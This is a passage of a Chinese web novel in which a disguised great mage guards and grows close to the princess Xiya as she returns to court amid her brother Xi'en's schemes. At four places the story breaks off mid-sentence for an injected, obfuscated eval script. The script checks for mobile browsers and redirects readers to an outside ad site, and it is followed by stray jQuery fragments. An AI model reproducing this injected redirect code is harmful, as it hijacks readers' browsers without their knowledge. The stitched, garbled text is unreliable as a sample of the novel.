希娅要回城,希恩是绝不会坐以待毙的。且不说他是否跟马坎男爵真的有所勾连,就是希娅回过味来,意识到了自己被“失踪”的真相,也够他喝上一壶的了。 希娅当年不是平白无故失踪的。 在她十五岁生日那天,希恩以看花为借口约她去皇城外的塔楼游玩。然后趁其不备,将希娅从塔楼上推了下去。 希娅运气好没死,后脚便被一个过路的奴隶商人捡去了。恰好跟收到消息、前来找她的大皇子亚纶擦肩而过,从此跌落进另一个地狱里…… 只是时间过去得太久,能证明希恩下手的证据早都被处理干净了。 这种发生在过去的事情,蜃楼没办法搞什么“实况转播”,让该看的人看到。但没关系,现在希娅没死、希恩也好好的,类似的戏码,总能再上演一次,他不怕捉不到希恩的把柄。 只要遮掩自己的存在就好。 救希娅的时候已经闹得很大,如果再以蜃楼的身份待在她身边,恐怕会打草惊蛇。选在白腰镇休养也不是偶然,放眼现在的弗洛瓦,只有怀恩家愿意遮掩他们的消息;而放给皇室的信息则是,蒙受冤屈的三皇女希娅,在霍斯菲尔德出现之后,便连夜启程往皇城来了—— 他们在小镇停留的时间,恰好能合上从霍斯菲尔德抵达皇城的路程。 至于那位突然现身刑场、救下希娅的神秘法师,似乎就这样暂时失去了消息。 毕竟现在的法师都不太愿意插手这样的麻烦事,希娅能得救已经让人匪夷所思了。 当一个魔法师强大到某种地步,财富、名利或是伴侣都不会缺乏;更没理由被希娅这样的小姑娘吸引,为她做事……这是大多数人的想法。 也是蜃楼顺水推舟,伪装自己的理由。 他猜想到希娅回城的一路不会太顺风。只看希恩的手能伸到多远了,倒没想到会是离皇城这么近的地方。 亚纶暂时不会出手,这大约算是个好消息。该怎么说呢,他暂时没把希娅放在眼里,所以这个阶段,姑且还能说是个好哥哥…… 蜃楼在脑海里梳理着现在的情况,而后告别季诺,混进别馆的侍从里。 凭着颈间锁链的指引,他飞快找到了希娅所在的房间,叩响了房门。 “门没锁呢。”希娅的声音从里面传出来,“进来吧。” 女侍低着头走进去,确认没有任何人注意到这里之后,默默掩上了房门。 希娅正坐在书桌前写信。 见蜃楼推门进来,她笔尖一滞,侧目瞥了他一眼,却没像季诺那样露出迟疑的表情。 “真来盯着我了?”希娅轻笑一声,转过头去,继续写她的信,“我又不是什么小女孩了。这种事,我一个人也能解决。” “……你解决你的,把我当空气就行。”蜃楼无奈地说。 他依然保持着女侍的伪装,不能分心去使用其他魔法,确实派不上太大的用场。但他记着希娅说的那些话呢:她可没答应他冒险之前先知会一声。尤其是今晚这样月黑风高的晚上,他生怕她像闯入“女神之血”的时候一样,偷摸混进达木兰宫里去,把希恩和路兰暴打一顿…… 希娅没再说话,手中的钢笔簌簌地在纸上移动。蜃楼守在一边,忽然注意到被放在一旁的餐盘。他揭开盖子,发现里面装着热气腾腾的食物:辣椒煎肉、海鲜红汤、一块草莓蛋糕和一杯红酒。这其实是很好的招待了,但除了果汁,好像哪样都跟他之前拜托的“清淡饮食”沾不上边。 虽说那本来也是他试探对方态度的托辞。但这么一看,即便希娅现在洗清了冤屈,这群人还是没把她放心里啊。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15122786|156579||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我今晚没什么胃口。”希娅停下笔,折好信纸,将它塞进信封里,头也不抬地说,“与其浪费,不如你吃了吧。对你来说,这些应该比烤饼更好吃些。” ……? 蜃楼顿了一下,终于想起希娅说的事来了。 他那天在霍斯菲尔德买了一种叫“烤饼”的食物回来,分给了希娅一些,看她吃得很香,自己也没忍住尝了下味道。面包店老板当时把这东西夸得天花乱坠,说什么寻常人家一年都吃不上一口的……可他咬了一口,哪有那么好吃啊?只有些似有似无的小麦香气,根本难以下咽 然后系统告诉他,这个时代的边陲小镇产能有限,这种面包已经算得上很好的食物了…… 主食都这样,甜点就更不用说了。茶叶和小麦粉在这里有时比肉还难得,蛋糕、饼干之类的更是奢想。 蜃楼不是什么职业演员,独属于“钟灵”的一角有时会从那张漂亮过头的皮囊下显露出来。或许他漫不经心地嘀咕过什么,但自己转头就忘了,哪儿能想到有人记得比他自己还牢? 可这种事情,也算是人情往来吧。 蜃楼看着蛋糕,忧心地想。他不该和希娅有太深的关系,可是,从他穿来这里的这几个月,确实没见过这么精致的点心…… 算了、算了。 又是拯救女主角又是拯救小镇的,这是他应得的! 蜃楼花了0.5秒成功说服自己,拿起餐盘走到窗边坐下。房间内除了希娅所在的书桌,窗边另摆了一套桌椅。只要抬头便能看见庄园外的景色,非常符合贵族们优雅闲适的生活习惯。 他坐下来,慢吞吞地吃起了蛋糕。 希娅收好信封,唇角挂起似有似无的笑意。她走到窗边,打开窗户唤来信鸽,将那封小小的信拴在它的脚上送了出去,随后在蜃楼面前的位置坐下。 少女没有说话,只是靠在椅子上,脑袋半歪,目光落在蜃楼的脸上。 直到蜃楼叉蛋糕的动作在她的注视下变得不自然起来,她才不紧不慢地开口问道:“你很喜欢吃这个?” “当然喜欢了。”蜃楼说,“你也很久没吃过这么好的东西了。反正花的也不是我们的钱,尝一口?” 他一边说着,一边叉起一块沾满了奶油的蛋糕,理所当然地将银制的叉子递了过去。 希娅眯起眼睛,神色忽然如一只被抚摸了头顶的小猫一样柔软起来。蜃楼不知道自己是哪句话让她高兴了,脸上的困惑刚刚浮现,就看见她倾身凑近,就着他的手吃掉了那块蛋糕。 …… 银月的光辉透过窗户洒进室内,希娅咀嚼着绵软香甜的蛋糕,支起下巴,似笑非笑地看向坐在她面前的男人。 金色的、细碎的光芒在空中闪烁,仿佛流星划过,数息之间,蜃楼身上的伪装魔法悄然解除。 白色的长发凭空出现,如绸缎一般洒落到地上,折射出柔和的月光。平凡到丢进人堆里就找不见的小女侍消失了,面容精致如同神祇的大魔法师取而代之。该说他的确是个什么情绪都很少显在脸上的类型,即便伪装消失、某人的分心已经成为昭然若揭的事实,嫌疑人也只是安静地看着她,唯有金色的眼底隐晦地翻涌出一丝错愕来。 “……。”蜃楼顿了一下,认真地说,“哦,听我解释……” 50. 第 50 章 哪有什么好解释的。 蜃楼下意识就开口了,实际上他自己也没搞清楚情况。偏偏系统还冒出来,在他耳边煽风点火似的说着:“哎哟——就是吃口饭而已,有人分心了!有人动机不纯啊!谁能管,谁能管?” 他被它弄得有些恼火,正想反驳几句,倏忽产生一种不妙的预感。蜃楼猛地偏过头去、望向窗外,却见月光下树影簌簌地拂动,远处传来断断续续的犬吠,哪儿有什么危机,只是一派静谧的夜色而已。 希娅注意到他的动作,问道:“怎么了?” 蜃楼回过神来,蹙起眉头:“……不清楚。” 一闪而过的危机感抓不住尾巴,他几乎要怀疑自己刚才是否因为分心产生什么错觉了。 蜃楼拍了拍额头,试图将这些乱七八糟的想法暂时从脑袋里驱赶出去,回到伪装魔法所需要的专注状态上来。可他尝试了一番,魔力凝成的金色光点却只是在身边漫无目的地乱转……他的模样毫无变化。 伪装魔法,暂时无法再奏效了。 希娅正要说些什么,房间外忽然响起一阵敲门声。她站起身来,看见无动于衷的蜃楼,忍不住问了一句:“你不变回去吗?有人来了。” 蜃楼沉默着起身,却没有变回女侍的样子,而是打开房间内的柜子,默默钻了进去。 过了一小会儿,他的声音从木柜里闷闷地传出来:“别管我了。” 他现在连注意力都集中不了,哪儿还能变回去啊。 希娅笑了一声,真的没再管他,径直走过去打开了房门。 蜃楼钻进衣柜里,本就百感交集的心情再添一味心虚。 他是不想深究的,不断地告诫自己今晚要关心的事情有且只有希娅……可是仔细一想又好像哪里不对,他关心希娅?他干嘛关心希娅?要完成任务,只要别让她死就行了啊。 自乱阵脚的时候,连思考的逻辑也会变得微妙。要是换成几个月前刚来这里的蜃楼,还能大言不惭地说几句这是为了合家欢大结局、为希娅的身心健康着想;可现在的他,再找不出什么正当的理由粉饰自己那一连串善意到有些多余的行为了。 “哎哟,啧啧啧。”逼仄的空间里,系统那宛如催婚亲戚般的八卦语调更加让人觉得刺耳,“这下就别自欺欺人了吧?人家就吃口蛋糕而已,有句话怎么说来着,司马昭之心……” 它要不提还行,一说起来,蜃楼脑袋里又不受控制地闪过希娅笑吟吟看着他的样子。 什么叫“就吃口蛋糕”?她那眼神,分明是故意的。偏偏希娅平时从没有这样对待过季诺,他就是想把自己糊弄过去都找不到落脚点了——更不知道接下来该怎么出去面对她——不,不对。现在的重点不是这个。今晚希恩势必有所动作的啊,他藏在这里,要是被发现了,怎么解释? 蜃楼蜷在衣柜里胡乱地思考人生,在这段时间里,希娅已经完成她的工作了。 她同来人说了些什么,微微颔首目送对方离开,随后关上门,敲了敲柜子的木门。 “他们走了。”希娅说,“出来啦,大魔法师。” 蜃楼顿了一下,推开柜门,若无其事地出去了,还拍拍身上莫须有的灰尘。 他未发问,希娅却接过话头,向他解释起来:“是亚纶的人。今晚没事了,不用担心。” “亚纶?”他蹙起眉头,不解道,“他为什么……” 在原剧情中,亚纶是希娅最后的对手。在希恩被扳倒之前,他从未将希娅放在眼里。说好听点他是不害她,难听点也没怎么关心过她……亚纶更喜欢另一个妹妹,对待希娅只是井水不犯河水的态度。 “因为这座庄园名义上还是他的呀。”希娅说着,转过头望向窗外,那里依然安静得出奇,不像有什么事发生过的样子,“希恩要是动手,坏的是他的名声。亚纶还在皇城里,但我给他写了信。这种既能保全名声,又能揪出庄园里奸细的机会,他怎么会错过呢?” 蜃楼愣住,花了一些时间才理解希娅的意思。他不知道这间庄园是亚纶的,只以为希恩做了手脚,故意让他们几个人被分散开,好趁机对希娅下手——但有了希娅提供的信息,能在亚纶的庄园里做这样的事情,可知希恩是在这里埋了眼线的。 这样一来,亚纶倒是暂成他们的同盟了: 他没理由和希恩联手,还白得一个排查眼线的机会,何乐而不为呢。 希娅说完这些,不知想到什么,轻轻叹了口气。 “人已经都抓起来了。不过,有件事很奇怪……”她的手指敲打着胳膊,抬头望向蜃楼,“我这位二哥,做事向来滴水不漏。我以为他还会再观察一阵子,结果今晚就出手了。跟个毛头小子一样……你有什么头绪吗?” 蜃楼其实不太擅长思考这些事情。更多的时候,他只充当打手,或者是一个行走的摄像头。但听希娅提起,他顺着她的话认真地回想了一番,忽然意识到某处一直被他忽略的异常。 “硬要说有什么异常的话……他见过我的脸。”蜃楼想了想,说道,“但他没有通缉我,甚至连你是被某个魔法师救走的这件事,也没有大张旗鼓地宣扬。” 以弗洛瓦皇室的权势,希恩是大可不必在这方面忍气吞声的。 蜃楼想不明白他们刻意忽略他的理由,还是说,这也是“蜃楼”作为男主角的什么隐藏金手指吗? 希娅抬起手来,咬着拇指,露出若有所思的神色。 蜃楼注意到她的动作,目光在她发红的指尖上停顿片刻,拉过她的手腕查看—— 果然,拇指上的指甲已经被希娅咬得只剩下短短的一茬了。 他没说什么,眼底闪过一道细碎的流光。浅淡的金色光芒从他手心钻了出来,飞到她空缺的甲床上,凝结成一弯漂亮的短甲形状。 这是蜃楼本尊留在歌登镇金池底端的一系列复杂魔法之一。 这是一组非常有趣的公式,不光能将有机体转化为实质的魔力,还能反过来将魔力塑造为任意形状。虽然只能定于金色,但不用像复制魔法那样将物品再拆解一遍,方便很多。 他从系统那边问来这个,本是想在去“女神之血”的时候帮希娅毁尸灭迹的。在他的设想里,希娅并不一定能在那里保持冷静;要是造成的伤亡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15126681|156579||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太多,难免变成话柄。那还不如都清理干净,起码让“死亡”变成“失踪”,夺嫡的时候少些制约…… 不过希娅没杀人,这技术也就没用上。 现在给她做美甲刚好。 蜃楼垂目看着那片金色的短甲,又抬起手,指尖跃出两颗金色的、芝麻大小的星状光点。光点跳到短甲上,化作两颗星星,一大一小,落在希娅的指甲尖端,闪闪地发起光来。 他做完这些,颇为满意的样子,眉目都稍稍舒展开来。 “好看吗?”他欣赏了一番自己的作品,随后松开希娅的手,这样问道。 希娅抬起手,迎着银白的月色看她那枚闪耀的指甲。 少女沉默了一会儿,认真地说:“好看。” “咬坏就不好看了。”蜃楼说着,下意识想像往常一样叩一下她的额头,却忽然意识到什么,收回手向后退了一步,与希娅拉到一个十分礼貌的距离,才若无其事地说下去,“……以后注意点。” 希娅抬起头,侧目看了他一眼。 “哄小姑娘可真有一套啊,大魔法师。”她忽略他后退的动作,目光回到那枚金色的短甲上,心不在焉地说,“经验之谈?你到底交过多少个女朋友?” “?”蜃楼蹙起眉头,思维被她的提问带偏,几乎是毫不犹豫地回答道,“你在说什么,我没有——” 可话说到一半,他忽然停下了。 那张一直没什么表情的脸上第一次明晃晃地出现吃惊的颜色。他震惊地看向希娅,只因为他曾经作为一个了解女主角的玩家,无比清楚一点:希娅是绝不可能问“蜃楼”这种事情的。 她怎么可能不知道他在这方面的品性…… 当然,“蜃楼”也决不可能像他这样干脆地给出答案的。 今天不知道为什么一直活跃的系统,现在不嫌事大,还在他耳边幸灾乐祸地解说起来:“被套话咯,大人。” 蜃楼懊悔地责问它:“你一直在?怎么不提醒我……” “你只让我在有生命危险的时候提醒你啊,大人。”系统理所当然地说,“希娅又不会吃了你。我提醒什么?” …… 有理有据,蜃楼说不出话了。 他啧了一声,郁闷地侧过身去,努力思考该怎么把这件事圆过去。 然而,做不了伪装魔法也就算了,他现在竟然连集中精力思考这种事情也做不到。莫名其妙的念头像胡乱进站的火车,赶走一辆又来一辆,根本无法让他静下心来理清目前的情况。 反而更郁闷了。 “别露出那种表情嘛……”希娅看着他,忽然开口。 她抬起右手,就当蜃楼以为她又要像之前那样将他拉过去的时候,她却只是垂眸按了按手上那枚漆黑的指环,用很小的声音说道:“我还挺喜欢你的。比起这里的其他人。” 希娅将手背到身后,向他笑了笑。 “好啦,我什么都不问了。”她说,语气人畜无害的,仿佛真的只是个善良纯真的少女主角,“你看,今晚的事,兵不血刃,你不喜欢吗?回去休息吧,明天还得继续伪装呢。” 51. 第 51 章 能好好休息才怪了。 蜃楼最后是翻窗离开的,又缩在庄园角落里看了一晚上星星,连宿舍都没回去。等到天边泛起鱼肚白,他才能化作雀斑女侍的样子,回到后房的房间里。 房间里安安静静,只有浅淡的呼吸声。 他的“室友”们都睡得很熟。 没人知道他是什么时候回来的,当然也没人会多嘴他这一晚到底去了哪里。这是件好事,因为从希娅的房间出来之后,蜃楼就心乱如麻,实在没心情再去应付其他人了。 他坐在床上,一直等到天色大亮,才推门出去。 今天该进皇城了。 亚纶派了马车过来,蜃楼到得最早,开始收拾行李。他们的行装不多,很快就搬完了,而后季诺、阿忒菈也从宿舍出来,与他在别馆前会合。 季诺依然是平时那副温和的样子,而阿忒菈打着哈欠一身酒气,身上的戾气几乎凝成实质。 蜃楼不说话,点着搬上车的行李,另一边站着打瞌睡的阿忒菈。 气氛微妙。 季诺夹在二人中间,有些局促。 “希娅是出什么事了吗?”他踌躇片刻,鼓起勇气询问蜃楼。 “没事啊。”蜃楼点完行李,看了他一眼,不解道,“怎么突然这么问?” “……啊。”季诺看着蜃楼,表情恍惚了一瞬,随后担忧地说,“没什么,就是您看起来没睡好……” 蜃楼摸了摸眼角,仿佛意识到什么,凑到一边借着马车玻璃的反光,打量他现在的模样。 季诺的担忧不是空穴来风。哪怕是和旁边的阿忒菈比起来,他的样子也没好到哪里去。要打比方的话,阿忒菈属于看着快死的,而他看起来像刚死的。 没睡好吗?但他穿来这里几个月,也就睡了一次觉而已啊……?而且为什么伪装状态也会冒黑眼圈啊? 蜃楼不解地想着,拍了一下季诺的脑袋,宽慰道:“没事,别担心。” …… 等等。 他没睡好和希娅出事又有什么联系? 闲聊几句的功夫,希娅也梳洗打扮好,从别馆里走出来了。蜃楼没去看她,却因契约的关系,不可避免地听到阿忒菈一边吞咽口水、一边嘀嘀咕咕的声音。他顿了一下,在希娅来到他们身边之前,拎着阿忒菈的领子把他丢到了马车前座。 “希娅。”季诺站在车边,抬起手微笑着向希娅打招呼,“早上好,你今天很漂亮。” “早安。”希娅的声音在蜃楼身后响起来。她的音调比以往稍低一些,似乎也有些倦怠的样子:“人都在了吗?上车吧,下午就能到皇城了。” 蜃楼一直没说话,这时候倒是麻利地准备上车了。他原想去阿忒菈身旁坐下,希娅却拍拍他的肩膀,说:“和我一起坐吧,玛格丽特小姐。给男孩子们一点自己的空间。” 话说到这份上,蜃楼也不能再装聋作哑。 虽然嘴上没说什么,但他的表情肉眼可见地别扭起来。偏在别扭里还记着帮希娅拉开车门、放下梯凳,甚至留好给她搭着上车的那只手,完成这套标准的“绅士”动作—— 希娅也不客气,懒洋洋地打了个呵欠,便牵着蜃楼的手上车去了。 前座的阿忒菈目睹这一切,眼红得几乎要滴出血来。 季诺在目送他们上车之后,才到阿忒菈身边的位置坐下。同为男主之一,他的反应要比阿忒菈平淡许多,或许因为他本身就是个善良的人。 “阿忒菈先生。”他叹了口气,真心地劝慰道,“希娅自己的选择最重要。你如果真的喜欢她,应该学会放下。” 阿忒菈瞪大眼睛,难以置信地看着他:“你怎么知……不对,难道你也?” “不是的。”季诺沉默片刻,翠色的眼眸中掠过一丝麻木,“我对希娅没有那样的想法。” 阿忒菈“嘁”了一声,将手垫在脑后,神色轻松了一些。如果蜃楼在这里,大约还能听出季诺的话中有话,可对阿忒菈来说,他能从季诺话中认识到的有且只有一点:他少了个情敌。 季诺说完那句话,也不再开口。大约是想起什么事情,他支起下巴,低头盯着自己的脚尖出神起来。 车夫挥动马鞭,在这一片诡异的寂静中,马车开始向前移动。 * 当然,车内的气氛也没活跃到哪儿去。 蜃楼不说话,尽职尽责地扮演他的“玛格丽特小姐”——那个从霍斯菲尔德跟来的雀斑小女侍。希娅没揪着前一晚的事追问些什么,他也心照不宣地装作无事发生。只看希娅靠着车窗小憩,起码身体看不出没什么异状,才稍稍放下心来。 希娅今天打扮了。 乌黑浓密的长发盘在脑后,用白色的丝带简单挽了起来;身上则穿酒红色的格子洋裙,裙摆下缀着轻盈的蕾丝边,云朵一样蓬松又柔软。蜃楼认出这是他在白腰镇给她定做的裙子,本想说些什么,但看希娅困倦的样子,还是默默别开了视线。 她昨天干什么了,怎么看起来这么累…… 他这么想着,忽然听见“咚”的一声。侧目看去,发现希娅正揉着额头,目光落在车窗下凸起的垫台上,表情有些懊丧。 她打瞌睡磕到头了。 蜃楼扶住垫台,视线在马车内部四处搜寻。他在找一个可以让人倚靠的软垫,但似乎是没有的,倒是坐在对面的希娅放下手,又懒洋洋地打了个呵欠。 疼痛也没能驱赶她的睡意,希娅眯着眼睛,伸手在身周摸索了一番,当然什么都没摸到,这时才注意到规规矩矩坐在她面前的蜃楼。 “怎么坐那么远?”她嘀咕着,在摇晃的马车里摇摇晃晃地站起来,“我难道会吃了你吗……” 蜃楼没有办法,只好去伸手扶她。 希娅搭着他的手,理了理裙子,在蜃楼身边坐下。然后吐出一口浊气,顺理成章地歪过头,一下倒在了他的肩上。 “噼啪”一声,空气中似乎有金色的光点像烟火一样炸开,转瞬即逝。 不过这一次,小女侍还是小女侍。伪装魔法没有解除,或许是因为这一切发生得并不突然。有昨晚的前车之鉴在,蜃楼多少猜到希娅会这样做了。 希娅没再说话,闭上眼睛,放缓了呼吸。 空气中清凉的薄荷香气一如她初见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15132522|156579||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这个人时的记忆,时隔近两年,她终于能够再次沉溺在这样的安定里了。 蜃楼或许是怕她摔着脑袋,没再躲避她的接触。 “别太依赖我,希娅。” 长久的沉默之后,他张口,有些无奈地说:“像利用阿忒菈一样利用我就好。总有一天,我会离开这里的。” 希娅没有回应他。女孩儿闭着眼睛,呼吸平稳,看起来就像睡着了一样。 蜃楼不知道她是真睡着了,还是在假装睡觉以逃避他的提醒。但他纠结了一夜,觉得不能把这件事继续马虎过去,那样只能说明他是个态度暧昧不清的中央空调。他将视线投向地面,口中飞快地念了一串咒语。幻象的结界围绕着他与希娅展开,现在,从马车外向内望去,只能看见一片混沌的迷雾了。 他在结界中解开伪装,白色长发散落下来,和希娅鬓边黑色的碎发落在一起,格外显眼。 大魔法师迟疑片刻,补充道:“……你今天很漂亮。” 钩直饵咸。 但真有人上钩了。 肩上的重量陡然一轻,蜃楼抬起眼,果然看见希娅不知何时清醒过来,正将手指往自己的嘴唇前送。她下意识想咬指甲,但顾忌蜃楼留给她的那枚金色短甲,嘴唇张了张,还是将手放了下去。 她转而抱起胳膊,耳尖飞红、语气颇为羞恼:“你故意的……” “……”蜃楼瞥了她一眼,别过脸去,“所以你听见我说的话了。” 希娅轻哼一声,迅速冷静下来。她看向蜃楼,反问道:“那又怎样?你讨厌我吗?” 蜃楼没想到她会这样直接,愣了一下,诚实地说:“不讨厌啊。” “那就是喜欢?”她说,然而观察着蜃楼的神色,希娅又有点拿不准了,“……你不会没谈过恋爱吧?” 蜃楼:“……” 他的沉默已经能代表一切。 不止这个原因。如系统先前所说,他不受荷尔蒙影响,感受不到传统意义上的情欲,只能看出希娅对他有心思。可扪心自问,他自己对希娅又是什么感受,更说不出来。 她对他而言,的确和这个世界的其他人不太一样。 可是,那究竟是因为希娅是他的“任务对象”,还是因为别的什么,蜃楼暂时还想不明白。 希娅见他沉默,漆黑的眼睛却缓缓亮了起来。她绕着头发,仔仔细细、从上到下将蜃楼的脸打量了一遍,然后意味深长地开口:“你太会哄女孩子了。我还以为——” “也可能是因为我理解你的心情。” 蜃楼实在忍不住,伸手叩一下她的额头,无奈地说。 希娅摸摸额头,不恼他的举动,而是憧憬地捧起脸颊,喃喃地说:“果然……” 蜃楼没听清她在说什么,疑惑地问了一句:“什么?” 希娅偏过头,看了他一眼,忽然笑了。 她的脸颊上现在有一些肉了,不再像之前那样瘦削。笑起来的时候,唇边总会有两个小小的梨涡,显得格外可爱。 “没什么。”希娅说,“你知道的,除非要我死,不然,没人能阻止我追求想要的生活。” 52. 第 52 章 现在的走向有些奇怪了,但对蜃楼来说,主线剧情依然是要过的。 回到正题,希娅这一次回到皇城,不单是因为她即将回归弗洛瓦皇室的身份;也是因为她被传唤为“女神之血”的直接证人,要在法庭上为审理提供证据—— 马坎男爵的案件已经由二皇子希恩接手。 随着马坎、希娅的先后抵达,即将在皇城内部的“花园法庭”展开审判。 弗洛瓦的法理制度与蜃楼原来的世界相比,有着极大的区别。 所谓“花园法庭”,与皇城卫队、篱笆骑士一样,是直属于弗洛瓦皇室的审判机关。虽然会从新旧贵族、平民、商人之流中各选出一位作为陪审,但结果还是由审判官敲定的。 而审判官往往与弗洛瓦皇室有着千丝万缕的关系…… 说好听点,审判结果能够代表弗洛瓦皇室的态度;难听一点,审判官也只是傀儡。真正的“判官”,还是弗洛瓦皇室。 这注定不会是一场公正的审判。 “有个好消息哦。” 此时此刻,希娅趴在沙发上,手中捏着一张信纸,忽然开口说道。 时间只过去一天,但他们已经以最快的速度迁入弗洛瓦的王庭。原属于希娅的剑兰宫一直空着,仆从明明都被遣散了,宫殿却依然保持着干净整洁的状态,似乎是有人在帮忙打理,倒是省了他们大扫除的功夫。 弗洛瓦皇室内部的关系不像寻常人家那样紧密,至少希娅回归,还没有任何一个哥哥妹妹来露过脸。希娅本人倒是毫不在意,放好行李后又开始读她的信,然后在蜃楼给她倒茶的时候,冷不丁地说了这样一句话…… 彼时,阿忒菈正抱着剑在门口守候,季诺则在外清点着书房里的藏书。 无人看管的宫殿有时会出现失窃的情况,季诺在这方面得心应手,自告奋勇地跑去清点宫殿留下的物资了。 于是,希娅近旁只剩下蜃楼。而他最近又总心不在焉,是完全没在听希娅讲话…… 希娅看出来了,也不着急提醒他。干脆放下信纸,支着下巴,看他什么时候能反应过来。 蜃楼正在倒茶。 但他的心思显然也没在倒茶上,汩汩的茶水已经从瓷杯中满溢出来。直到水渍落到他的手背上,他才反应过来,停下倒茶的动作。 苍白的手指在杯盏上空拂过,溢出的水珠在魔力的催化下迅速蒸腾。剩下恰好满满当当的一杯茶水,被他若无其事地端到希娅面前。 这个人,很会装蒜。 宫殿里只有自己人,蜃楼没做伪装,还是本尊那不食人间烟火的样子。希娅伸手去接他递来的茶水,手指刚触到杯盏,倏忽轻呼一声,吃痛地揉了揉手背:“好烫……” 蜃楼回过神来,匆忙拉过她的手指:“怎么——” 然而待他看清希娅完好无损的手背,目光又由担忧变成了无奈。 希娅捏了捏他的手指,又将手收回来,一本正经地拍拍她面前那张信纸:“好啦,大魔法师。不管你在想什么,现在有两件事要跟你说。” 蜃楼看着她,抱起胳膊。 希娅弯起唇角,拿起茶杯抿了口水,继续说了下去:“第一,‘花园法庭’现在没有审判官了,这对我们来说是个好消息。虽然案子交给了希恩推进,但没有审判官,皇室不好直接干涉审判结果。或许能借这个机会,给我二哥找点麻烦。” “审判官?”蜃楼顿了一下,目露不解,“那不是新上任的……” 在他对游戏背景为数不多的认识里,花园法庭的这位审判官,是前几年随着弗洛瓦皇帝彻底掌权而被推举上来的新人。 这人是皇帝家族的远亲,能力如何姑且不论,但年轻得很,怎么也不至于这么早就下台。 希娅轻哼一声,手指敲了敲瓷杯,不以为意地说:“冤假错案是审判官的渎职,更何况冤的还是皇女……又不能让希恩出来负责,只能叫审判官下去了。在我回来之前,弗洛瓦已经把人砍了,拦都拦不住。” 砍了?蜃楼有些诧异。说砍就砍啊?可假证据不是希恩送上去的吗…… 希娅沉默片刻,忽然偏头望向蜃楼,语气隐含不安:“你……不会觉得他可怜吧?” “?”蜃楼蹙起眉头回看她,露出莫名其妙的表情。 希娅顿了一下,又说:“呃。我担心你是那种看到有人死了都会难过的类型……” “那我恐怕要在这里得抑郁症了。”蜃楼扯了扯嘴角,无语地说,“我只是在奇怪,当时的证据不是希恩提交的吗。他怎么什么事都没有?” “这种事情怎么能怪我哥呢?”希娅叹了口气,像是在为希恩开解,语气却格外意味深长,“他只是太容易信任别人了。用人不疑,又有什么错?” 蜃楼飞快地理解了她的意思。 难怪明明捅了篓子还能脱身。仔细一想,“禁闭室”有路兰、希娅的案子又有审判官,哪怕在回来的路上对希娅下手,也要挑在大皇子亚纶庄园里的机会。这人,看来是完全不打没法甩锅的仗啊…… “好了,接下来是第二件事。”希娅收好信纸,将它塞进抽屉里,又托起下巴,期待地看向蜃楼,“今天晚上有家宴,你要和我一起去吗?” 蜃楼愣了一下,指向自己:“你是指我?还是……” 弗洛瓦皇室很少一起吃饭。 即便是血亲、同住在王庭的城堡群里,大多时间也是各忙各的,一年到头都见不上几回。能凑齐几位皇亲国戚的家宴已经是非常正式的场合了,不论是作为大魔法师蜃楼、还是小女侍玛格丽特参加,似乎都不太合适。 “当然是你了。”希娅托着腮,可怜地看着他,“我才回到王庭呢,孤苦无依的……要是被哥哥们欺负了怎么办?” 蜃楼抱起胳膊,面上没什么表情,但能看出他心里不想去的念头正在占据上风:“皇帝也在啊。怎么说也是你爸爸,你刚回来,不至于放任他们欺负你吧……” 希娅没说话,坐起身来,巴巴地凑到蜃楼身边。然后伸出手,牵住蜃楼的袖子,轻轻摇晃了两下。 蜃楼今天穿的是再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15137638|156579||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 寻常不过的白色灯笼袖衬衣。纽扣一如既往地系到顶端,没有领结、胸针或是其他坠饰,哪怕是放在旧贵族中也是老派朴素的装扮,可放在他身上,却因为那张脸的加成,无端地让人感觉华丽。 随着希娅摇晃的动作,浅淡的薄荷香气从他宽松的衣袖里扩散开来。 这是希娅一直喜欢的气味。 她吸了吸鼻子,忍不住靠得更近了一些,再张口,刻意拖长她夜莺般的声音: “那边会有很多点心的哦。” “蜃楼——” 这语气可比什么点心都要甜了。 …… 数分钟后,蜃楼拉下希娅的手,无奈地说:“行了……我去就是了。” * 